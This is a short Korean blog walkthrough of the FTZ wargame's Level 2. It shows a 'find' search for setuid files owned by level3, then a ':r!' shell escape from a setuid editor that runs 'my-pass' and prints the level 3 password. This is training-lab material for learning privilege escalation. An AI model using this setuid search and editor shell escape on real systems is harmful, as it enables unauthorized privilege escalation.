[FTZ] Level 2

Sisyphus·2022년 7월 14일

FTZ

목록 보기
11/30
[level2@ftz level2]$ cat hint


텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...

hint 파일을 출력해보니 텍스트 파일에서 쉘 명령어를 실행시키라고 하고 있습니다.
⇾ level3의 setuid가 걸린 텍스트 파일을 찾아 실행시키고 :r! command 명령어를 사용하면 my-pass 명령어를 실행시킬 수 있을 거 같습니다.


[level2@ftz level2]$ find / -user level3 -perm -4000 2> /dev/null
/usr/bin/editor
[level2@ftz level2]$ cd /usr/bin
[level2@ftz bin]$ ls -l | grep edit
-rwxr-xr-x    1 root     root         1749 Jan 25  2003 editdiff
-rwsr-x---    1 level3   level2      11651 Sep 10  2011 editor

find 명령어를 통해 level3의 setuid가 걸린 파일을 검색했고 editor라는 파일을 찾았습니다.
그래서 editor의 파일 위치로 이동하고 권한을 출력해서 보니 setuid가 걸려있는 것을 확인할 수 있습니다.


[level2@ftz bin]$ editor

^[[H^[[2J
Level3 Password is "can you fly?".

editor를 실행시키고 :r! my-pass 명령어를 사용하니 Level 3의 패스워드가 출력되었습니다.

0개의 댓글